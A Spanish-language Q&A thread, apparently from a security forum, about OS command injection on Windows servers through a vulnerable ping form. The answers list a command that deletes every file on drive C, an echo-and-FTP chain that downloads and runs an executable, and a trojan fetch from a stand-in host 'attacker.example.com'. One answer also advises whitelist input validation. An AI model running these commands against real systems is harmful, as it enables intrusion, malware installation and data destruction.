Inyección de comandos de la plataforma Windows

2

Digamos que hay un sitio que es vulnerable a la entrada del usuario.

Por ejemplo, los usuarios pueden hacer ping a una IP especificada.

Dado que el sitio es vulnerable a la inyección del comando Os, tanto un usuario como una dirección IP él / ella decide añadir el siguiente comando:

;ls

Así que en realidad lo que él / ella inserta es: 198.71.xxx.xx ;ls

; significa separador para comandos en la misma línea

ls significa listar el contenido de un directorio

Por supuesto, lo que escribí anteriormente es válido solo si el sistema operativo subyacente del servidor es similar a Unix.

Mi pregunta: en caso de que el sistema operativo sea Windows (Windows Server 2003 o lo que sea, incluso una versión más reciente) ¿Qué debería escribir un atacante después de la IP?

¿Es dir la única cosa o quizás otra orden más peligrosa?

Es sólo para fines de estudio.

Muchas gracias

    
pregunta g9999 27.12.2012 - 15:56
fuente

2 respuestas

3

Bueno, lo más destructivo que puedo pensar es del /f /s /q c:\* , que elimina todos los archivos en la unidad C

.

Una buena forma de obtener más acceso es encadenar un grupo de comandos de eco con redirecciones agregadas (por ejemplo, echo test >> c:\commands.txt ) para escribir un conjunto de comandos de FTP en un archivo, luego ejecutar ftp -s:c:\commands.txt [host] para ejecutar esos comandos en el servidor y descargar un ejecutable. Luego podemos hacer una solicitud final para ejecutar ese ejecutable.

En general, es probable que una inyección de comando sea muy peligrosa, porque equivale a tener los mismos privilegios que la cuenta que ejecuta el servicio vulnerable. Peor aún, si está ejecutando un sistema operativo basado en XP, el programador de tareas permite una escalada de privilegios fácil a SYSTEM , a través del comando at .

    
respondido por el Polynomial 27.12.2012 - 16:05
fuente
1

El separador de comando en Windows es & en lugar de ; .

La redirección de salida utilizando > es otra característica general del shell potencialmente peligrosa que se debe considerar si no puede obtener & , ya que podría usarlo para escribir en cualquier archivo.

Escapar de los metacaracteres del shell de Windows para permitir el uso seguro de entradas arbitrarias es muy difícil de entender. (Hay una regla, pero es extraña y está mal documentada). Si es absolutamente necesario generar un comando usando el shell en un cuadro de Windows (esto casi siempre es mejor evitarlo), es recomendable una validación de entrada fuerte en la lista blanca.

En cuanto a los comandos que ejecuta cuando recibe una inyección de comandos, es tradicional intentar descargar y ejecutar un ejecutable (generalmente troyano de administración remota) a través de cualquier medio que pueda obtener a través de cualquier servidor de seguridad de la red desde el servidor web. Esto podría ser:

  • desde una ruta UNC ( \attacker.example.com\trojan.exe )
  • utilizando FTP
  • escribir en un archivo VBScript y luego ejecutarlo para descargarlo desde un recurso HTTP
respondido por el bobince 29.12.2012 - 00:00
fuente

Lea otras preguntas en las etiquetas